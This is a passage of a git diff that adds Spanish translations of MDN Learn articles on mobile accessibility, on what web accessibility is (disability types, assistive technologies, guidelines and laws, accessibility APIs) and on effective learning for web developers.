+<p>Debido a que la pantalla es mucho más estrecha en los dispositivos móviles, es muy común utilizar consultas de medios y otras tecnologías para hacer que el menú de navegación se reduzca a un pequeño icono en la parte superior de la pantalla, que se puede presionar para mostrar el menú solo si es necesario - cuando el sitio se ve en el móvil. Esto suele representarse mediante un icono de "tres líneas horizontales" y, por lo tanto, el patrón de diseño se conoce como "menú de hamburguesas".</p>
+
+<p>Al implementar un menú de este tipo, debe asegurarse de que el control para revelarlo sea accesible mediante los mecanismos de control apropiados (normalmente, toque para dispositivos móviles), como se explica en {{ anch("Control mechanisms" )}}, y que el resto La página se aleja o se oculta de alguna manera mientras se accede al menú, para evitar confusiones al navegar.</p>
+
+<p>Haga clic aquí para un buen<a href="http://fritz-weisshart.de/meg_men/"> ejemplo de menú de hamburguesa.</a></p>
+
+<h2 id="Entrada_de_usuario">Entrada de usuario</h2>
+
+<p> </p>
+
+<p>En los dispositivos móviles, el ingreso de datos tiende a ser más molesto para los usuarios que la experiencia equivalente en computadoras de escritorio. Es más conveniente escribir texto en las entradas de formulario utilizando un teclado de computadora de escritorio o portátil que un teclado virtual de pantalla táctil o un pequeño teclado físico móvil.</p>
+
+<p>Por esta razón, vale la pena intentar minimizar la cantidad de escritura necesaria. Como ejemplo, en lugar de hacer que los usuarios completen el título de su trabajo cada vez que usan una entrada de texto regular, podría ofrecer un menú {{htmlelement ("select")}} que contenga las opciones más comunes (que también ayuda a mantener la coherencia en entrada de datos), y ofrece una opción "Otro" que muestra un campo de texto para escribir cualquier valor atípico. Puedes ver un ejemplo simple de esta idea en acción en <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html">common-job-types.html</a> (ver el <a href="http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html">common jobs ejemplo en vivo</a>).</p>
+
+<p>También vale la pena considerar el uso de los tipos de entrada de formulario HTML5, así como la fecha en las plataformas móviles, ya que ambos los manejan bien: tanto Android como iOS, por ejemplo, muestran widgets utilizables que se adaptan bien a la experiencia del dispositivo. Ver <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html">html5-form-examples.html</a> para algunos ejemplos (ver el <a href="http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html">ejemplo de formulario en vivo en HTML5</a>) — intenta cargarlos y manipularlos en dispositivos móviles. Por ejemplo:</p>
+
+<ul>
+ <li>Los tipos de <code>number</code>, <code>tel</code>, <code>y email</code> muestran teclados virtuales adecuados para ingresar números / números de teléfono.</li>
+ <li>Los tipos de <code>time</code> and <code>date</code> muestran selectores adecuados para seleccionar horas y fechas.</li>
+</ul>
+
+<p>If you want to provide a different solution for desktops, you could always serve different markup to your mobile devices using feature detection. See <a href="http://diveinto.html5doctor.com/detect.html#input-types">input types</a> for raw information on detecting different input types, and also check out our <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">feature detection article</a> for much more information.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este artículo, le proporcionamos algunos detalles sobre problemas comunes comunes relacionados con la accesibilidad móvil y cómo superarlos. También lo llevamos a través del uso de los lectores de pantalla más comunes para ayudarlo en las pruebas de accesibilidad.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/guidelines-for-mobile-web-development/">Directrices para desarrollo web en móviles</a> — Una lista de artículos en Smashing Magazine que cubren diferentes técnicas para el diseño web móvil.</li>
+ <li><a href="http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644">Haz funcionar tu web en dispositivos táctiles</a> — Artículo útil sobre el uso de eventos táctiles para que las interacciones funcionen en dispositivos móviles.</li>
+</ul>
+
+<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div>
+
+<div>
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">¿Qué es la accesibilidad?</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: Una buena base para la accesibilidad</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">Mejores prácticas de accesibilidad en CSS y JavaScript </a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA básico</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Multimedia accesible </a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Accessibilidad mobil </a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Solucionador de problemas en </a><a href="/en-US/docs/Learn/Accessibility/Mobile">Accessibilidad</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/es/learn/accessibility/qué_es_la_accesibilidad/index.html b/files/es/learn/accessibility/qué_es_la_accesibilidad/index.html
new file mode 100644
index 0000000000..e92994e37c
--- /dev/null
+++ b/files/es/learn/accessibility/qué_es_la_accesibilidad/index.html
@@ -0,0 +1,211 @@
+---
+title: ¿Qué es la accesibilidad?
+slug: Learn/Accessibility/Qué_es_la_accesibilidad
+translation_of: Learn/Accessibility/What_is_accessibility
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</div>
+
+<p class="summary">En este artículo se inicia el módulo con una explicación ampliada sobre qué es la accesibilidad. Esta visión general incluye qué grupos de personas necesitamos tener en cuenta y por qué, qué herramientas utilizan estas personas para interactuar con la web y cómo podemos hacer que la accesibilidad sea parte de nuestro flujo de trabajo de desarrollo web.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática y de lenguaje HTML y CSS.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarse con la accesibilidad (qué es y cómo te afecta como desarrollador web).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_la_accesibilidad">¿Qué es la accesibilidad?</h2>
+
+<p>La accesibilidad hace que tus sitios web puedan ser utilizados por el mayor número de personas posible. Tradicionalmente, se ideó para las personas con discapacidad, pero la creación de sitios accesibles también beneficia a otros grupos, como los que utilizan los dispositivos móviles o los que tienen conexiones de red lentas.</p>
+
+<p>También podrías pensar en la accesibilidad como una forma de tratar a todos por igual y darles las mismas oportunidades, sin importar su capacidad o circunstancias. Al igual que es injusto excluir a alguien de un edificio porque vaya en silla de ruedas (generalmente, los edificios públicos modernos tienen rampas o ascensores), tampoco es correcto excluir a alguien de un sitio web porque tenga una discapacidad visual. Todos somos diferentes, pero todos somos humanos, y por lo tanto tenemos los mismos derechos.</p>
+
+<p>Por eso debemos hacer las cosas accesibles. En algunos países es obligado por ley proporcionar sitios web accesibles, lo que te puede abrir algunos mercados importantes que de otra manera no serían capaces de utilizar tus servicios o comprar tus productos.</p>
+
+<p>Crear sitios web accesibles nos beneficia a todos:</p>
+
+<ul>
+ <li>El HTML semántico, aparte de mejorar la accesibilidad, también mejora la optimización en motores de búsqueda (SEO), y la gente encuentra tu sitio web con mayor facilidad.</li>
+ <li>Preocuparse por la accesibilidad demuestra buenos criterios éticos y morales, lo que mejora tu imagen pública.</li>
+ <li>Mejorar la accesibilidad también hace que tu sitio sea más fácil de usar por otros grupos, como los usuarios de dispositivos móviles o los que tienen internet de baja velocidad. De hecho, todo el mundo puede beneficiarse de estas mejoras.</li>
+ <li>¿Hemos mencionado también que en algunos países está estipulado por ley?</li>
+</ul>
+
+<h2 id="¿Con_que_tipo_de_discapacidades_nos_encontraremos">¿Con que tipo de discapacidades nos encontraremos?</h2>
+
+<p>Las personas con discapacidad son tan diversas como las personas sin discapacidad, y también lo son sus discapacidades. La clave está en pensar más allá de tu ordenador y en cómo utilizas la web y empezar a aprender acerca de cómo otros la utilizan. <em>Tú no eres tus usuarios</em>. A continuación explicaremos los principales tipos de discapacidad que vamos a considerar, junto con las herramientas especiales que se utilizan para acceder al contenido web (conocidas como <strong>tecnologías de apoyo</strong> o <strong>AT</strong>, de <em>assistive technologies</em>).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La hoja informativa sobre <a href="https://www.who.int/es/news-room/fact-sheets/detail/disability-and-health">discapacidad y salud</a> de la Organización Mundial de la Salud establece que «Más de mil millones de personas, aproximadamente el 15% de la población mundial, tienen alguna forma de discapacidad» y «Entre 110 millones y 190 millones de adultos tienen dificultades funcionales significativas».</p>
+</div>
+
+<h3 id="Personas_con_discapacidad_visual">Personas con discapacidad visual</h3>
+
+<p>Las personas con discapacidad visual son aquellas con ceguera, poca visión o daltonismo. Muchas personas con discapacidad visual utilizan amplificadores de pantalla que consisten en lupas físicas o funciones de zoom por software. La mayoría de los navegadores y sistemas operativos de hoy en día tienen instaladas funciones de zoom. Algunos usuarios confían en los lectores de pantalla, un software que lee en voz alta los textos digitales. Algunos ejemplos de lectores de pantalla incluyen:</p>
+
+<ul>
+ <li>Productos comerciales de pago, como <a class="external external-icon" href="https://www.freedomscientific.com/Products/software/JAWS/">JAWS</a> (Windows) y <a href="https://yourdolphin.com/screenreader">Dolphin Screen Reader</a> (Windows).</li>
+ <li>Productos gratuitos, como <a class="external external-icon" href="https://www.nvaccess.org/">NVDA</a> (Windows), <a class="external external-icon" href="https://www.chromevox.com/">ChromeVox</a> (Chrome, Windows y Mac OS X) y <a class="external external-icon" href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux).</li>
+ <li>Productos integrados en el sistema operativo, como <a class="external external-icon" href="https://www.apple.com/accessibility/mac/vision/">VoiceOver</a> (MacOS, iPadOS, IOS), <a class="external external-icon" href="https://support.microsoft.com/en-us/help/22798/windows-10-narrator-get-started">Narrator</a> (Microsoft Windows), <a class="external external-icon" href="https://www.chromevox.com/">ChromeVox</a> (en Chrome OS) y <a class="external external-icon" href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li>
+</ul>
+
+<p>Familiarizarse con los lectores de pantalla puede ser útil, así como configurar un lector de pantalla y jugar con él para aprender cómo funciona. Consulta nuestra <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders"> guía de lectores de pantalla de prueba para la navegación cruzada</a> para obtener más detalles sobre su uso. El vídeo siguiente proporciona un breve ejemplo de cómo es esta experiencia.</p>
+
+<p>{{EmbedYouTube("IK97XMibEws")}}</p>
+
+<p>En términos de estadística, la Organización Mundial de la Salud estima que «Alrededor de 285 millones de personas de todo el mundo tienen discapacidad visual: 39 millones son ciegas y 246 tienen visión reducida.» (Véase <a href="https://www.who.int/es/news-room/fact-sheets/detail/blindness-and-visual-impairment">Discapacidad visual y ceguera</a>). Esa es una población grande y significativa de usuarios (casi la misma población de los Estados Unidos de América), a la que simplemente perderás porque tu sitio web no está codificado correctamente.</p>
+
+<h3 id="Personas_con_discapacidades_auditivas">Personas con discapacidades auditivas</h3>
+
+<p>También conocidas como personas con trastornos auditivos o personas sordas. Son un grupo de personas con niveles de audición bajos o nulos. Las personas con discapacidad auditiva usan AT (véase <a href="https://www.nidcd.nih.gov/health/assistive-devices-people-hearing-voice-speech-or-language-disorders">Dispositivos de asistencia para personas con trastornos auditivos, de voz, del habla o del lenguaje</a>), pero en realidad no hay AT específicos para el uso del ordenador/web.</p>
+
+<p>Hay, sin embargo, técnicas específicas para ofrecer alternativas textuales a contenidos de audio, que van desde simples transcripciones hasta pistas de texto (es decir, subtítulos) que se pueden mostrar junto con el vídeo. Pero lo veremos más adelante.</p>
+
+<p>Las personas con discapacidad auditiva también representan una importante base de usuarios: «466 millones de personas en todo el mundo tienen pérdida auditiva discapacitante», dice la hoja informativa sobre <a href="https://www.who.int/es/news-room/fact-sheets/detail/deafness-and-hearing-loss">Sordera y pérdida auditiva</a> de la Organización Mundial de la Salud.</p>
+
+<h3 id="Personas_con_discapacidad_motriz">Personas con discapacidad motriz</h3>
+
+<p>Estas personas tienen discapacidades relativas a la movilidad, que pueden implicar problemas puramente físicos (como la pérdida de una extremidad o la parálisis) o trastornos neurológicos/genéticos que conducen a la debilidad o pérdida de control en las extremidades. Algunas personas simplemente pueden tener dificultades a la hora de mover el ratón, mientras que otras podrían verse más gravemente afectadas, tal vez estén paralizadas y necesiten utilizar un <a href="https://www.performancehealth.com/baseball-cap-head-pointer">puntero de cabeza</a> para interactuar con los ordenadores.</p>
+
+<p>Este tipo de discapacidad se da principalmente por la vejez, y no por cualquier trauma o condición específica, y también podría resultar de limitaciones en el hardware (algunos usuarios podrían no tener un ratón).</p>
+
+<p>La forma en que esto afecta al desarrollo web es el requisito de que los controles sean accesibles por el teclado. Hablaremos de la accesibilidad del teclado en artículos posteriores de este módulo, pero te recomendamos probar algunos sitios web utilizando solo el teclado para ver cómo funcionan. Por ejemplo, ¿se puede utilizar la tecla de tabulación para moverse entre los diferentes controles de un formulario web? Puedes encontrar más detalles sobre los controles del teclado en nuestro apartado <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">Accesibilidad desde el teclado</a>.</p>
+
+<p>Si nos basamos en las estadísticas, vemos que un número significativo de personas tienen problemas de movilidad. Los Centros para el Control y la Prevención de Enfermedades de <a href="https://www.cdc.gov/nchs/fastats/disability.htm">Discapacidad y Funcionalidad (Adultos a partir de 18 años no registrados en una institución)</a> de los Estados Unidos informan de que el porcentaje de adultos con alguna disfunción física en los EUA es del 16,1%.</p>
+
+<h3 id="Personas_con_discapacidad_cognitiva">Personas con discapacidad cognitiva</h3>
+
+<p>La discapacidad cognitiva engloba una amplia gama de discapacidades, desde las personas que presentan las capacidades intelectuales más limitadas hasta toda la población que tiene problemas a la hora de recordar por los síntomas de la edad. Este amplio abanico incluye a las personas con enfermedades mentales como la <a href="https://www.nimh.nih.gov/health/topics/depression/index.shtml">depresión</a> y la <a href="https://www.nimh.nih.gov/health/topics/schizophrenia/index.shtml">esquizofrenia</a>. También incluye a personas con dificultades de aprendizaje, como la <a href="https://www.ninds.nih.gov/Disorders/All-Disorders/Learning-Disabilities-Information-Page">dislexia</a> y el <a href="https://www.nimh.nih.gov/health/topics/attention-deficit-hyperactivity-disorder-adhd/index.shtml">trastorno por déficit de atención con hiperactividad</a>. Es importante destacar que, aunque hay una gran diversidad dentro de las definiciones clínicas de alteraciones cognitivas, las personas que las experimentan tienen un conjunto común de problemas funcionales, que incluye dificultades a la hora de entender los contenidos, recordar cómo completar las tareas y confusión ante páginas web diseñadas de forma incoherente.</p>
+
+<p>Una buena base de accesibilidad para personas con deficiencias cognitivas incluye:</p>
+
+<ul>
+ <li>proporcionar el contenido en más de un formato, como puede ser texto-a-voz o vídeo;</li>
+ <li>proporcionar contenidos fáciles de entender, como texto escrito con estándares de lenguaje sencillo;</li>
+ <li>centrar la atención en el contenido importante;</li>
+ <li>minimizar las distracciones, tales como contenidos innecesarios o anuncios;</li>
+ <li>proporcionar un diseño coherente de la página web y del sistema de navegación;</li>
+ <li>usar elementos ya conocidos, como los enlaces subrayados en azul cuando aún no se han visitado, y en morado cuando sí;</li>
+ <li>dividir los procesos en pasos lógicos y esenciales con indicadores de progreso;</li>
+ <li>ofrecer un sistema de autenticación del sitio web de la forma más fácil posible sin comprometer la seguridad; y</li>
+ <li>diseñar formularios fáciles de completar, con mensajes de error claros y de fácil solución.</li>
+</ul>
+
+<h3 id="Observaciones">Observaciones</h3>
+
+<ul>
+ <li>Diseñar para la <a href="/en-US/docs/Web/Accessibility/Cognitive_accessibility">accesibilidad cognitiva</a> proporcionará buenas prácticas de diseño que beneficiarán a todo el mundo.</li>
+ <li>Muchas personas con discapacidades cognitivas también tienen discapacidades físicas. Los sitios web deben cumplir con las directrices de accesibilidad a los contenidos web <a href="https://www.w3.org/WAI/standards-guidelines/wcag/">Web Content Accessibility Guidelines</a> de W3C, que incluyen las <a href="/en-US/docs/Web/Accessibility/Cognitive_accessibility#Guidelines">directrices de accesibilidad cognitiva</a>.</li>
+ <li>El apartado <a href="https://www.w3.org/WAI/GL/task-forces/coga/">Cognitive and Learning Disabilities Accessibility Task Force</a> de W3C aporta pautas de accesibilidad web para personas con discapacidades cognitivas.</li>
+ <li>WebAIM tiene una <a href="https://webaim.org/articles/cognitive/">página cognitiva</a> con la información y los recursos correspondientes.</li>
+ <li>Los Centros para el Control de Enfermedades estimaron que, en 2018, 1 de cada 4 ciudadanos de Estados Unidos presentaba alguna discapacidad y que la discapacidad cognitiva es la más común entre los jóvenes.</li>
+ <li>En los EUA, el término «retraso mental» se ha sustituido por el de «discapacidad intelectual». En el Reino Unido, a la «discapacidad intelectual» se le llama comúnmente «discapacidades de aprendizaje» o «dificultades de aprendizaje».</li>
+</ul>
+
+<h2 id="Implementa_la_accesibilidad_en_tu_proyecto">Implementa la accesibilidad en tu proyecto</h2>
+
+<p>Un mito común de la accesibilidad es que se trata de un «extra añadido» que encarece tu proyecto. Este mito <em>puede</em> resultar cierto si:</p>
+
+<ul>
+ <li>Tratas de «readaptar» la accesibilidad de un sitio web que tiene problemas de accesibilidad importantes.</li>
+ <li>Solo has empezado a considerar la accesibilidad y temas relacionados en las últimas etapas de un proyecto.</li>
+</ul>
+
+<p>Sin embargo, si se tiene en cuenta la accesibilidad desde el inicio de un proyecto, el coste es muy reducido.</p>
+
+<p>Al planificar tu proyecto, debes tener en cuenta las pruebas de accesibilidad en la fase de pruebas, lo mismo que las pruebas para cualquier otro sector de público objetivo importante (por ejemplo, los navegadores de escritorio o los navegadores para dispositivo móvil). Somete tu proyecto a pruebas desde una etapa temprana y con frecuencia, idealmente con pruebas automatizadas para detectar carencias detectables en la programación, como la falta de <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">textos alternativos</a> en las imágenes o textos de enlace no adecuados (consulta <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context">Relaciones entre elementos y contexto</a>). Y haz algunas pruebas con grupos de usuarios con discapacidad para ver cómo se desenvuelven con las características más complejas de tu sitio web. Por ejemplo:</p>
+
+<ul>
+ <li>¿Las personas que utilizan lectores de pantalla tendrán problemas con mi selector de fechas?</li>
+ <li>¿Pueden saber las personas con discapacidad visual si el contenido se actualiza dinámicamente?</li>
+ <li>¿Puedo acceder a los botones de mi interfaz de usuario desde el teclado y desde las interfaces táctiles?</li>
+</ul>
+
+<p>Puedes y debes tener en cuenta las áreas potencialmente problemáticas del contenido que habrá que modificar para proporcionarles accesibilidad, asegúrate de que se prueban a fondo y piensa en soluciones/alternativas. El contenido textual (como veremos en el próximo artículo) es fácil, pero ¿qué pasa con el contenido multimedia y con esos fantásticos gráficos 3D? Echa un ojo al presupuesto del proyecto y piensa en soluciones que estén a tu disposición para convertir tales contenidos en accesibles. Transcribir todos tus archivos multimedia es una opción posible, aunque cara.</p>
+
+<p>Seamos realistas. El «100% de accesibilidad» es un ideal inalcanzable, ya que siempre te encontrarás con algún tipo de caso límite en que un determinado usuario encuentra ciertos contenidos difíciles de usar, pero debes hacer todo lo que puedas. Si planeas incluir un gráfico 3D circular creado a partir de WebGL, es posible que desees incluir una tabla de datos como una representación alternativa accesible. O bien puedes simplemente incluir la tabla y deshacerte del gráfico circular 3D (todo el mundo puede acceder a la tabla, su codificación resulta más simple, y además consume menos recursos de la CPU y es de mantenimiento más fácil.</p>
+
+<p>Por otro lado, si trabajas en un sitio web de una galería que muestra obras de arte interesantes en 3D, no sería razonable esperar que cada obra de arte sea perfectamente accesible para las personas con discapacidad visual, ya que se trata de un medio completamente visual.</p>
+
+<p>Para demostrar que te importa y que has pensado en la accesibilidad, publica una declaración de accesibilidad en la página web que explique tu política de accesibilidad y los pasos realizados para hacer que el sitio web sea accesible. Si alguien se queja de que tiene un problema de accesibilidad: inicia un diálogo con ellos, se empático y toma las medidas razonables para tratar de solucionar el problema.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Nuestro artículo sobre <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Cómo afrontar los problemas de accesibilidad más comunes</a> expone los detalles de accesibilidad que es necesario tener más en cuenta.</p>
+</div>
+
+<p>En resumen:</p>
+
+<ul>
+ <li>Considera la accesibilidad desde el inicio de un proyecto y haz pruebas con frecuencia. Al igual que cualquier otro error, un problema de accesibilidad se vuelve más caro de arreglar cuanto más tarde se descubre.</li>
+ <li>Ten en cuenta que muchas de las buenas prácticas de accesibilidad benefician a todo el mundo, no solo a los usuarios con discapacidad. Por ejemplo, el marcado semántico no solo es bueno para los lectores de pantalla, sino que también es de carga y ejecución rápidas. Esto nos beneficia a todos, especialmente a quienes entran con dispositivos móviles y/o tienen conexión lenta.</li>
+ <li>Publica una declaración de accesibilidad en la página web y relacionarse con la gente que tiene problemas.</li>
+</ul>
+
+<h2 id="Directrices_de_accesibilidad_y_la_ley">Directrices de accesibilidad y la ley</h2>
+
+<p>Hay numerosas listas de control y conjuntos de directrices en las cuales basar las pruebas de accesibilidad, por lo que podría parecer abrumador a primera vista. Nuestro consejo es que te familiarices con las áreas básicas en las que te interesa centrarte, así como que comprendas las estructuras de alto nivel de las directrices que son más relevantes para ti.</p>
+
+<ul>
+ <li>Para empezar, el W3C ha publicado un documento muy extenso y detallado que incluye criterios de accesibilidad muy precisos, independientes de la tecnología. Se llaman <a href="https://www.w3.org/WAI/standards-guidelines/wcag/">Web Content Accessibility Guidelines</a> (WCAG). Los criterios se dividen en cuatro categorías principales, las cuales especifican según el tipo de implementaciones: perceptibles, operables, comprensibles y robustas. El mejor lugar para adquirir una ligera introducción y comenzar el aprendizaje es <a href="https://www.w3.org/WAI/standards-guidelines/wcag/glance/">WCAG at a Glance</a>. No es necesario que te aprendas las directrices WCAG de memoria, solo tienes que ser consciente de las áreas de preocupación principales y utilizar una variedad de técnicas y herramientas para destacar aquellas áreas que no se ajustan a los criterios WCAG (véase más abajo).</li>
+ <li>Tu país también puede tener una legislación específica que regule la necesidad de la accesibilidad que los sitios web. Por ejemplo, la norma <a href="https://www.etsi.org/deliver/etsi_en/301500_301599/301549/02.01.02_60/en_301549v020102p.pdf">EN 301 549</a> en la UE, la <a href="https://www.section508.gov/training">sección 508 de la Ley de Rehabilitación</a> en los EUA, la <a href="https://www.einfach-fuer-alle.de/artikel/bitv_english/">Ordenanza Federal de Tecnología de la Información sin barreras</a> en Alemania, el <a href="https://www.legislation.gov.uk/uksi/2018/952/introduction/made">Reglamento de accesibilidad 2018</a> en el Reino Unido, la <a href="https://www.agid.gov.it/it/design-servizi/accessibilita-siti-web">Accessibilità</a> en Italia, la <a href="https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014">Ley de Discriminación por Discapacidad</a> en Australia, etc. La W3C tiene una lista de <a href="https://www.w3.org/WAI/policies/">políticas y leyes de accesibilidad web</a> según países.</li>
+</ul>
+
+<p>Así, mientras que la WCAG es un conjunto de directrices, tu país probablemente tiene leyes que rigen la accesibilidad web, o al menos la accesibilidad de los servicios disponibles para el público (que incluyen sitios web, televisión, espacios físicos, etc.). Conocer estas leyes puede resultarte útil. Si no te preocupas por comprobar que tu contenido sea accesible, podrías incurrir en alguna responsabilidad legal, si la gente se queja.</p>
+
+<p>Suena serio, pero en realidad solo tienes que considerar la accesibilidad como la prioridad principal a la hora de desarrollar tu web, como ya hemos dicho. En caso de duda, asesórate por un abogado cualificado. Y como nosotros no lo somos, no vamos a ofrecer más consejos sobre este tema.</p>
+
+<h2 id="API_de_accesibilidad">API de accesibilidad</h2>
+
+<p>Los navegadores web hacen uso de <strong>API de accesibilidad</strong> especiales (proporcionadas por el sistema operativo subyacente) que exponen información útil para las tecnologías de asistencia (AT, <em>assistive technologies</em>): la mayoría de AT tienden a utilizar información semántica, por lo que esta información no incluye información de estilo o JavaScript. Esta información se estructura en un árbol de datos, denominado <strong>árbol de accesibilidad</strong>.</p>
+
+<p>Los diferentes sistemas operativos disponen de diferentes API de accesibilidad:</p>
+
+<ul>
+ <li>Windows: MSAA/IAccessible, UIAExpress, IAccessible2</li>
+ <li>Mac OS X: NSAccessibility</li>
+ <li>Linux: AT-SPI</li>
+ <li>Android: Accessibility framework</li>
+ <li>iOS: UIAccessibility</li>
+</ul>
+
+<p>Cuando la información semántica nativa proporcionada por los elementos HTML de tus aplicaciones web falla, puedes complementarlo con características de la <a href="https://www.w3.org/TR/wai-aria/">especificación WAI-ARIA</a>, que añaden información semántica al árbol para mejorar la accesibilidad. Puedes aprender más acerca de WAI-ARIA en nuestro artículo de <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">fundamentos WAI-ARIA</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este artículo debería haber dado una descripción detallada sobre la accesibilidad, mostrar por qué es importante y enseñar cómo puede encajar en tu flujo de trabajo. Ahora también deberías tener sed de conocimientos sobre los detalles de implementación que hacen que los sitios sean accesibles. Comenzaremos con esto en la sección siguiente, observando por qué HTML es una buena base para la accesibilidad.</p>
+
+<p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">¿Qué es la accesibilidad?</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: Una buena base para la accesibilidad</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">Buenas prácticas de accesibilidad en CSS y JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">Fundamentos WAI-ARIA</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Multimedia accesible</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Accesibilidad móvil</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Resolución de problemas de accesibilidad</a></li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG">WCAG</a>
+
+  <ul>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable">Perceptible</a></li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable">Operable</a></li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable">Comprensible</a></li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Robust">Robusto</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/learn/aprender_y_obtener_ayuda/index.html b/files/es/learn/aprender_y_obtener_ayuda/index.html
new file mode 100644
index 0000000000..a7f06d90d8
--- /dev/null
+++ b/files/es/learn/aprender_y_obtener_ayuda/index.html
@@ -0,0 +1,321 @@
+---
+title: Aprender y obtener ayuda
+slug: Learn/Aprender_y_obtener_ayuda
+tags:
+  - Aprender
+  - Desarrollo web
+  - Principiante
+  - conseguir ayuda
+  - obtener ayuda
+translation_of: Learn/Learning_and_getting_help
+---
+<p>{{learnsidebar}}</p>
+
+<p>Es genial que dediques algo de tiempo a aprender un nuevo conjunto de habilidades, pero puedes emplear algunas buenas prácticas que harán que tu aprendizaje sea más efectivo. También hay momentos en los que te atascarás y te sentirás frustrado, incluso los desarrolladores web profesionales se sienten así regularmente, y vale la pena conocer las formas más efectivas de tratar de obtener ayuda para que puedas progresar en tu trabajo. Este artículo proporciona algunos consejos y sugerencias en ambas áreas que te ayudarán a obtener más provecho del aprendizaje del desarrollo web, así como una lectura adicional para que puedas obtener más información sobre cada subtema si lo deseas.</p>
+
+<h2 id="Aprendizaje_efectivo">Aprendizaje efectivo</h2>
+
+<p>Sigamos adelante y pensemos en un aprendizaje efectivo.</p>
+
+<h3 id="Diferentes_métodos_de_aprendizaje">Diferentes métodos de aprendizaje</h3>
+
+<p>Es interesante considerar que hay dos formas principales en las que tu cerebro aprende cosas — el aprendizaje <strong>enfocado</strong> y el aprendizaje <strong>difuso</strong>:</p>
+
+<ul>
+ <li>El aprendizaje enfocado es lo que tradicionalmente podrías asociar con las materias académicas. Te concentras profundamente en un tema de bajo nivel y resuelves los problemas específicos demostrando que eres muy capaz. Estás enfocado en una área estrecha.</li>
+ <li>El aprendizaje difuso tiene más que ver con el pensamiento de alto nivel en un área más amplia. Dejas que tu mente divague más y aparentemente haces conexiones aleatorias entre diferentes cosas. Este es más el tipo de pensamiento que llevas a cabo mientras estás en la ducha o durante un descanso para tomar café.</li>
+</ul>
+
+<p>A partir de los estudios que los neurocientíficos han realizado sobre la actividad cerebral, hemos descubierto que realmente no se puede participar en ambas formas de aprendizaje, o de pensamiento simultáneamente. Entonces, ¿cuál debes elegir? Puedes pensar que el aprendizaje enfocado es mejor para estudiar, pero en realidad, <strong>ambos</strong> son muy importantes.</p>
+
+<p>El pensamiento enfocado es excelente para concentrarte mucho en temas específicos, profundizar en la resolución de problemas y mejorar tu dominio de las técnicas requeridas, fortaleciendo las vías neuronales en tu cerebro donde se almacena esa información. Sin embargo, no es muy bueno para entender "el panorama general" y desbloquear nuevas vías neuronales cuando intentas comprender nuevos temas o resolver nuevos problemas que no has encontrado antes.</p>
+
+<p>Para eso, necesitas un pensamiento difuso. Esto es lo opuesto al enfoque — dejas que tu cerebro divague por el paisaje más amplio, buscando conexiones que no tenías antes, tocando cosas nuevas (o nuevas combinaciones de cosas) en las que luego puedes concentrarte para fortalecerlas y empezar a entender realmente lo que significan.</p>
+
+<p>Es por eso que generalmente es bueno leer primero un material introductorio para obtener una comprensión de alto nivel de un área, antes de saltar a los detalles específicos.</p>
+
